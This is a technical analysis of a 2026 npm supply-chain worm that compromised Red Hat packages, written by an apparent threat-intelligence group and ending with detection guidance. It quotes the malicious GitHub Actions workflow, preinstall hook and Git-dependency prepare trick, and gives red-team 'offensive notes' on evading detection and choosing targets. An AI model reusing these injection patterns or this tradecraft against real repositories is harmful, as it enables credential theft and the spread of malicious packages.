Miasma: A Full Kill-Chain Analysis of the Red Hat npm Supply Chain Compromise

BORDER CYBER GROUP · Technical Analysis · June 6, 2026

Sources: Wiz Research, Snyk, Aikido Security, CybelAngel / Whiteintel. All technical claims attributed to primary research.

Overview

Miasma doesn't need you to click anything. It just needs you to run npm install.

On June 1, 2026, a self-propagating credential-harvesting worm was published inside 32 official packages in the @redhat-cloud-services npm namespace — the frontend component libraries and API clients that power Red Hat's Hybrid Cloud Console. The malware, dubbed Miasma by its authors, is a lightly modified descendant of Mini Shai-Hulud, a worm framework built and subsequently open-sourced by the threat actor group TeamPCP. The attack reached approximately 80,000–117,000 weekly downloads across the affected scope.

Before reading further, the attack is best understood as a stack of composable exploit primitives — each individually well-understood, combined here to defeat every layer of the modern software supply chain's trust model in sequence:

Infostealer → session cookie theft — bypasses MFA entirely; no network-visible attack signature.

Orphan commit → wildcard branch trigger → id-token: write — abuses GitHub's workflow execution model to obtain a legitimate OIDC publish token without any stored long-lived credential.

Preinstall hook → eval(ROT-decoded payload) — code execution at install time, before any application code runs, in any environment that resolves the dependency.

Per-infection payload encryption — defeats hash-based detection; forces a behavioral detection posture.

Cloud identity enumeration — converts a developer workstation compromise into a complete map of available cloud lateral movement paths.

Registry-mediated self-propagation — turns victim publish rights into the next attack wave, using the trusted distribution channel as the propagation medium.

The kill chain is covered in full below, stage by stage.

Stage 0 — Initial Access: The Infostealer as a Slow-Burn Primitive

Understanding Miasma as a security primitive requires starting seven weeks before the June 1 attack date, because the initial access vector was not a vulnerability exploit, a phishing email, or a brute-forced credential. It was a commercial infostealer.

Dark web monitoring firm Whiteintel, reviewing its stealer log archive after the attack, found that a Red Hat employee's GitHub credentials and an active GitHub session cookie had appeared in infostealer telemetry on April 13, 2026, and again on May 15, 2026. The compromise happened on a personal or corporate device infected by an infostealer — a commodity malware class designed specifically to sweep browser-saved credentials, cookies, and application tokens from a compromised host and exfiltrate them to a criminal marketplace. The specific family is not publicly identified in available reporting.

The temporal gap is the analytically interesting element. Forty-eight days elapsed between first credential exposure in stealer logs and active weaponization on June 1. Infostealer operations do not use stolen credentials in real time. The economics work differently: the malware operator exfiltrates and sells the credential log, buyers on criminal marketplaces sort through combo lists for high-value items — GitHub accounts with publish rights to popular namespaces rank extremely high — and the lag between harvest and use can be days, weeks, or months depending on how the credential is packaged, priced, and purchased.

The session cookie is the key artifact. A valid GitHub session cookie bypasses multi-factor authentication entirely. Unlike a password, which requires a TOTP code or hardware key when MFA is enforced, a stolen session cookie represents an already-authenticated browser session. Presenting it to GitHub's session validation endpoint resumes that session with full permissions, no second factor required, because authentication has already occurred from GitHub's perspective. The attacker did not need to phish the employee directly. They purchased an already-complete, MFA-bypassing authentication artifact from a marketplace.

⚔ Offensive note: This entry vector completely sidesteps the authentication security stack. Password policies, MFA enforcement, phishing-resistant hardware keys — none are meaningful controls if the attacker acquires a post-authentication session cookie from an infostealer log. The detection surface for this vector is entirely behavioral: impossible travel, anomalous source IP geolocation, new device fingerprint on an established account. None of those are guaranteed to fire on a patient attacker who proxies through infrastructure in the victim's geography. For red team scenario construction, this is the access primitive that makes every downstream trust model irrelevant before the engagement has technically begun.

Stage 1 — Pipeline Compromise: Abusing GitHub Actions OIDC Trusted Publishing

With a valid GitHub session, the attacker pushed orphan commits to three repositories in the RedHatInsights GitHub organization:

• RedHatInsights/frontend-components
• RedHatInsights/javascript-clients
• RedHatInsights/platform-frontend-ai-toolkit

The commits were orphan commits — branches with no common ancestor to the main development history, making them structurally invisible to anyone monitoring the default branch or pull request activity. They did not go through code review. They landed directly.

Each commit added two files: a minimal GitHub Actions workflow and an obfuscated JavaScript payload. The workflow is the exploit primitive. Here it is verbatim, as documented by Wiz Research, with annotations on each dangerous element:

name: release
on:
  push:
    branches: ['*']       # ← fires on ANY branch push, including orphans;
                          #   bypasses all branch protection rules on main/*
jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      id-token: write     # ← CRITICAL: requests GitHub OIDC token;
                          #   this single line is the trusted-publishing exploit
      contents: read      # ← minimal read perm; profile looks like a
                          #   legitimate release workflow to any scanner
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
                          # ← Bun used instead of Node: faster startup,
                          #   self-contained execution, fewer dependencies
      - name: prepare
        run: bun run _index.js   # ← obfuscated payload; name chosen to
                                 #   blend with legitimate build steps
        env:
          OIDC_PACKAGES: "@redhat-cloud-services/frontend-components, ..."
                          # ← target package list injected as env var;
                          #   parameterizes the publish scope at runtime

The id-token: write permission is the attack's critical trust lever. GitHub's OIDC implementation allows Actions workflows to request short-lived identity tokens from GitHub's OIDC provider. When a workflow declares this permission, it calls getIDToken() and receives a JWT signed by GitHub attesting: this token was issued to this workflow, running in this repository, on this ref, at this time. npm's trusted publishing system — introduced to eliminate long-lived publish tokens from CI pipelines — accepts these OIDC tokens as proof of publisher identity. The workflow uses that token to publish packages to npm without ever needing a stored npm access token.

The workflow executed, obtained a GitHub OIDC token, and published malicious versions of the listed packages to npm — complete with valid SLSA provenance attestations. The provenance was technically accurate: the package was built in that repository, by that workflow, by that runner. What provenance cannot express is that the workflow itself was injected by an attacker. This is the structural gap examined in detail in Stage 5.

The attack ran in two waves on June 1. The first wave began at approximately 10:53 AM UTC. A second wave followed at approximately 1:44 PM UTC with additional commits and additional package targets. By 1 PM UTC, npm had revoked most malicious versions, though two remained live at the time of public disclosure.

⚔ Offensive note: The branches: ['*'] + id-token: write combination is the precise attack surface. In any repository where an attacker can push a branch — through a compromised maintainer account, a misconfigured branch protection policy, or a fork with Actions enabled — this workflow pattern transforms a single branch push into a trusted package publication event. The orphan commit technique keeps the injected workflow off the default branch history, where automated scanning and human review are most likely to catch it. The workflow's permission profile (id-token: write + contents: read) is identical to dozens of legitimate release workflows; it will not stand out in a bulk permissions audit.

Stage 2 — Payload Delivery: The Preinstall Hook as Execution Primitive

Each compromised package release modified the package's package.json to add a preinstall lifecycle hook:

{
  "scripts": {
    "preinstall": "node index.js"  // ← runs before ANY other install step;
                                   //   fires on direct and transitive installs
  }
}

The npm lifecycle hook system is the execution primitive here. When a user or CI runner executes npm install, npm runs lifecycle hooks in a defined order: preinstall → install → postinstall. The preinstall hook fires before any application code, before the package's own install step, and before the developer has any visibility into what is running. Critically, this hook fires on transitive dependency resolution as well as direct installs — if your project depends on package A, which depends on a compromised @redhat-cloud-services package, the hook runs in your environment without any direct action on your part beyond running npm install.

The index.js payload is 4.2 MB — anomalous for any npm package's root-level JavaScript file, but not something a developer would notice without explicitly inspecting the tarball contents. The size is a direct consequence of the obfuscation strategy.

Obfuscation layer: The payload uses two layered techniques to resist static analysis. The outer layer is ROT-based string encoding — a character rotation cipher applied to string literals throughout the payload. This defeats naive string matching against known-bad indicators and prevents the payload from containing readable credential targets, API endpoint strings, or recognizable behavioral patterns in their unencoded form. The inner execution layer relies on eval() to execute dynamically decoded strings at runtime. The combination means static analysis tools see a large file of garbled strings feeding into eval() calls, with no recoverable plaintext behavioral signatures without actually executing the code or manually tracing the ROT decoding.

Per-infection payload encryption: A notable evolution in Miasma versus earlier Mini Shai-Hulud variants is per-infection payload encryption. Each published compromised package version generates a uniquely encrypted payload. Hash-based IOCs — SHA-256 values of the malicious index.js — are valid only for a specific package version published at a specific moment. A detection rule keyed to a specific hash will not catch a subsequent recompile of the same worm. This is a deliberate OPSEC decision that pushes defenders away from signature-based detection and toward behavioral detection.

The Wiz follow-on advisory published June 4 documented a second-wave evolution: some packages used binding.gyp instead of a preinstall hook as the execution trigger. binding.gyp is a Node.js build configuration file for native addon compilation. npm runs node-gyp automatically when binding.gyp is present in a package. Using it as an execution trigger is a technique variation designed to evade detection rules specifically watching for preinstall/postinstall hook additions in package manifests.

The TanStack compromise in May 2026 employed a third execution variant worth understanding as a parallel technique. That compromise embedded the payload as a GitHub-hosted optional dependency with a prepare script:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  // ← Git dependency; npm resolves and runs prepare scripts for these
}

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
  // ← && exit 1 causes deliberate failure AFTER payload executes;
  //   optional dependency failure is acceptable to npm — install continues
}

npm resolves Git dependencies and runs their prepare scripts during installation. Because the dependency is optional, its failure does not block the parent install. The payload executes, the optional dependency "fails cleanly," and npm continues. This is an elegant abuse of composability: two individually benign npm behaviors combined to produce reliable covert execution with a self-covering failure state.

⚔ Offensive note: The preinstall hook, binding.gyp abuse, and optional Git dependency + prepare script represent three distinct execution primitives that achieve the same outcome — code execution at install time — while presenting different signatures to detection systems. In a red team supply chain scenario, rotating between these techniques across waves or targets increases the probability that at least one vector evades the specific rules a target organization has deployed. The && exit 1 pattern in the TanStack variant is particularly instructive: intentional failure as a cover for completed execution is a tradecraft principle that transfers across many attack contexts.

Stage 3 — Credential Harvesting: Scope, Targeting Logic, and the Cloud Identity Evolution

Once eval() executes the deobfuscated payload, Miasma runs a systematic credential sweep of the infected host. The following table maps each target class to its collection mechanism and its offensive value in a post-exploitation context:

The GCP and Azure identity collectors are the most significant evolution in this variant. Prior Mini Shai-Hulud versions primarily harvested static credential artifacts — files and environment variables that represent specific, bounded credentials. The new cloud identity collectors go further: they enumerate what cloud roles and identities the infected host can assume, not merely what static keys it holds. This is the difference between stealing a key and drawing a complete map of every door that key — and every other key the host can acquire — can open.

⚔ Offensive note: A developer workstation or CI runner in an enterprise environment rarely holds only its own credentials. It typically has access to cloud roles that grant permissions far exceeding any individual static credential — IAM roles with broad service permissions, Workload Identity bindings, managed identity assignments spanning resource groups. Enumerating these from an infected host gives an attacker a complete lateral movement map into cloud infrastructure without guessing or scanning. This is reconnaissance-at-harvest rather than post-exfiltration reconnaissance, which compresses the time to actionable cloud access significantly. For red team engagements involving CI/CD compromise, this enumeration step is the phase that turns a pipeline foothold into enterprise-wide cloud access.

Stage 4 — Self-Propagation: The Worm Mechanism

Miasma's self-propagation logic is what elevates it from an infostealer to a worm. After harvesting credentials, the payload queries the npm registry API to identify other packages that the compromised identity has publish rights over. The specific API call targets https://registry.npmjs.org/-/npm/v1/tokens and related registry endpoints to enumerate the victim's publish scope.

For each package the identity can publish, the worm:

1. Fetches the current package tarball from the registry
2. Injects the malicious preinstall hook and payload into the package contents
3. Bumps the package version
4. Republishes to npm using the harvested OIDC token or npm token

The result is that a single developer who installs a compromised @redhat-cloud-services package and holds publish rights to other packages becomes the next wave. Their packages are now compromised, and anyone who installs those packages becomes the next potential vector. The registry is both the distribution channel and the propagation medium — the worm uses the infrastructure its victims trust most as its own C2-adjacent replication surface.

⚔ Offensive note: The propagation logic is bounded by the victim's publish rights, which means the worm's blast radius is a direct function of how many packages each infected developer maintains. A single compromised developer who maintains a widely-used framework component can seed hundreds of downstream compromises without any further attacker action. In supply chain red team scenarios, identifying developers who maintain high-traffic packages and have broad publish rights across multiple namespaces represents the highest-value initial targets — not because of their own credential value, but because of the propagation multiplier their publish scope provides.

Stage 5 — Trust Subversion: Why SLSA Provenance Failed as a Security Signal

The most analytically important aspect of Miasma for both red teamers and defenders is not the payload mechanics but the trust model it defeated.

npm's trusted publishing system, implemented via GitHub Actions OIDC, was designed to eliminate the risk of stolen long-lived npm tokens. The security model is: instead of storing an npm access token as a GitHub Actions secret (where it could be exfiltrated from the secret store), a workflow requests a short-lived OIDC token from GitHub, presents it to npm as proof of identity, and npm mints a short-lived publish token scoped to that specific workflow and repository context. Nothing long-lived is stored.

SLSA provenance attestations extend this by cryptographically binding the published package to the specific workflow run that produced it. A consumer can verify: this package was built by this GitHub Actions workflow, in this repository, from this commit SHA, at this timestamp. The attestation is signed by GitHub's Sigstore-compatible certificate authority.

Miasma demonstrated that this trust model has a boundary condition that is not a flaw in the cryptographic implementation but a scope limitation in what provenance can assert. Provenance verifies the provenance chain — where the package came from. It cannot verify the intent of the workflow that produced it. When an attacker injects a malicious workflow into a legitimate repository using a compromised maintainer account, the resulting packages have accurate provenance: they genuinely did come from that repository's Actions context. The attestation is not forged. It is technically correct. And it is completely useless as a security signal.

This is structurally analogous to the insider threat problem in traditional access control: the model assumes the identities it trusts have not themselves been compromised. When they are, the trust signals it generates are indistinguishable from legitimate ones. Trusted publishing is a genuine security improvement over long-lived stored tokens. Miasma demonstrates that it is a necessary condition for supply chain security, not a sufficient one.

⚔ Offensive note: For red team supply chain scenarios, this is the key insight: the goal is not to defeat the cryptographic signing mechanism — that is hard. The goal is to compromise an identity that the signing mechanism already trusts, at which point the signing mechanism actively works in the attacker's favor by lending the published package a veneer of verified legitimacy. The attack surface is not the crypto; it is the human behind the trusted identity. This aligns precisely with the infostealer-to-session-cookie chain in Stage 0: the entire downstream trust stack collapses when the identity at its root is compromised.

Stage 6 — Campaign Context: The TeamPCP Lineage and Open-Source Malware Economics

Miasma does not exist in isolation. It is the most recent deployment in a campaign Aikido has tracked across at least seven major incidents since April 2026:

• April 22 — @bitwarden/cli compromised via a poisoned GitHub Actions workflow. Payload self-identified as "Shai-Hulud: The Third Coming."
• April 29 — Four SAP npm packages compromised through an npm token leaked via a malicious CircleCI pull request build.
• April 30 — PyTorch Lightning compromised on PyPI, versions 2.6.2 and 2.6.3.
• May 12 — 169 packages across TanStack, Mistral, UiPath, and others compromised. TeamPCP publishes the full Shai-Hulud source code to GitHub and posts on BreachForums encouraging others to run their own campaigns.
• May 19 — Microsoft's DurableTask npm package compromised via a previously compromised GitHub account.
• June 1 — @redhat-cloud-services. 32 packages. Miasma variant.

The May 12 open-sourcing is the inflection point for threat modeling. Before that date, Shai-Hulud was a proprietary tool operated by TeamPCP. After it, the framework is publicly available to any actor willing to adapt it. Attribution confidence for Miasma is consequently lower than for earlier campaign incidents: Wiz explicitly notes that TTP overlap should not be treated as definitive TeamPCP attribution because any actor with the public source code can replicate the technique. Miasma's cosmetic changes — replacing Dune-universe references with Greek mythology, renaming the worm's self-identification string — are consistent with a copycat who adopted the framework rather than the original operator.

From a threat intelligence perspective this matters because the defender response to "TeamPCP is running this campaign" differs fundamentally from "anyone can now run this campaign." The former suggests a bounded, trackable operator with identifiable infrastructure. The latter means the detection surface is the technique, not the actor, and any organization that maintains npm packages with trusted publishing configured should treat this as a persistent category risk rather than an attributed campaign to track and contain.

⚔ Offensive note: The open-sourcing of Mini Shai-Hulud is a force multiplier for the threat landscape. The barrier to entry for a sophisticated supply chain attack has dropped from "build and operate a custom worm framework" to "identify a target namespace, compromise a maintainer account, and adapt a public codebase." For red team engagements, this means supply chain attack scenarios are no longer exotic — they are within the capability envelope of any team that can execute an infostealer campaign or account compromise. The techniques in this article are not theoretical.

Detection Engineering

Detection opportunities across the kill chain, mapped to stage, with MITRE ATT&CK technique references:

Stage 0 — Infostealer precursor T1539 (Steal Web Session Cookie) / T1078 (Valid Accounts)

The seven-week gap between credential exposure and weaponization is a detection window if and only if someone is monitoring infostealer logs for employee-domain credentials. This is external threat intelligence work, not endpoint or network detection. Continuous dark web credential monitoring against employee email domains and GitHub organization member accounts is the only control that could have surfaced this specific precursor. No internal telemetry will catch a session cookie stolen from a personal device and sold on a credential marketplace.

Stage 1 — OIDC abuse / orphan commit T1195.002 (Compromise Software Supply Chain) / T1586.002 (Compromise Accounts: Email Accounts — analogous for GitHub)

Orphan branch creation events in organization repositories should alert. A workflow declaring id-token: write on branches: ['*'] is anomalous — production release workflows scope to main, release/*, or tag events. A rule watching for id-token: write on wildcard branch triggers in repositories where this permission did not previously exist would have surfaced the injected workflow before the publish ran. GitHub's audit log records workflow file creation and permission grant events; these are the detection surface.

Stage 2 — Preinstall hook / payload T1195.002 / T1027 (Obfuscated Files or Information)

File size anomaly on npm package contents: a 4.2 MB index.js in a package root is a strong signal. Differential version analysis — watching for preinstall appearing in scripts where it was absent in the prior version — is high-signal. The binding.gyp second-wave variant requires a separate rule: flag packages that introduce binding.gyp without corresponding native addon source files or prior build toolchain dependencies. Size delta between consecutive package versions is an additional heuristic: a 4 MB addition to a package that previously weighed 50 KB is detectable without any payload analysis.

Stage 3 — Credential harvesting T1552 (Unsecured Credentials) / T1552.001 (Credentials in Files) / T1530 (Data from Cloud Storage)

Outbound HTTP to 169.254.169.254 from a build runner during an npm install step is anomalous in any environment that is not running on EC2. GCP metadata API queries bearing the user-agent google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0 from a runner with no GCP SDK in its declared dependencies is a high-fidelity IOC documented by Wiz Research. Azure IMDS endpoint queries (169.254.169.254/metadata/identity) from a runner not provisioned with a managed identity assignment are similarly anomalous.

Stage 4 — Propagation T1195.002 / T1072 (Software Deployment Tools)

An npm publish event from a GitHub Actions run that also performed npm install in the same job, on a non-release branch, is behaviorally anomalous — legitimate release workflows separate install and publish steps and gate publish on explicit branch or tag conditions. npm registry audit logs record publish events with source workflow metadata when OIDC trusted publishing is used; cross-reference publish events against expected workflow names and branch refs.

Repository-level IOC: Attacker-created staging repositories carry the description string Miasma: The Spreading Blight. Monitor for repository creation events with this description in your GitHub organization. Scan public repositories associated with maintainer accounts in your dependency tree.

Analytical Limitations

This analysis is bounded by what is publicly available from primary research sources. The following elements are not confirmed in any available reporting and should not be treated as established fact:

Infostealer family: The specific malware family that harvested the Red Hat employee's credentials is not publicly identified. The infection vector on the employee's device (phishing, drive-by, malicious package, other) is unknown.

Payload decompilation: No public source has published a full decompile or deobfuscation of the Miasma payload. The credential harvesting targets documented here are drawn from behavioral analysis by Wiz, Snyk, and Aikido, not from static analysis of the payload source. Specific implementation details of the ROT encoding, the per-infection encryption scheme, and the propagation logic at the code level are not publicly confirmed.

Miasma operator identity: Attribution to TeamPCP is TTP-overlap-based, not infrastructure- or identity-confirmed. Wiz explicitly notes the possibility of a copycat using the publicly released framework. No attribution beyond TTP similarity has been published by any researcher.

Victim scope: The downstream impact — how many organizations installed affected versions during the exposure window, whether any cloud environments were subsequently compromised via the cloud identity collectors — has not been publicly reported.

Summary: The Exploit Chain as a Primitive Stack

Miasma is technically sophisticated not because any individual primitive is novel but because the chain is constructed to defeat each layer of the modern software supply chain's trust model in sequence:

MFA — defeated by session cookie theft via infostealer, before the attack reaches any npm or GitHub system.

Branch protection — defeated by orphan commits, which land outside protected branch scope.

Long-lived token elimination — defeated by OIDC abuse, which turns the trusted publishing mechanism itself into the publish vector.

Provenance verification — defeated by workflow injection, which produces technically accurate but meaningless provenance attestations.

Hash-based malware detection — defeated by per-infection payload encryption.

Post-compromise containment — complicated by cloud identity enumeration, which maps the full lateral movement surface before any defender response begins.

Understanding this chain at the primitive level — rather than as a single named "supply chain attack" — is what makes it useful for both red team scenario construction and defender control prioritization. Each link in the chain has a corresponding defensive control gap; closing any single gap without addressing the others leaves the full chain viable.

Sources: Wiz Research · Snyk · Aikido — Miasma · Aikido — Mini Shai-Hulud / TanStack · CybelAngel — seven-week credential trail

BORDER CYBER GROUP — original analysis and synthesis. All technical claims sourced from primary research.

If you would like to support our work — useful, well-researched, ad-free cybersecurity intelligence — buy us a coffee: https://bordercybergroup.com/#/portal/support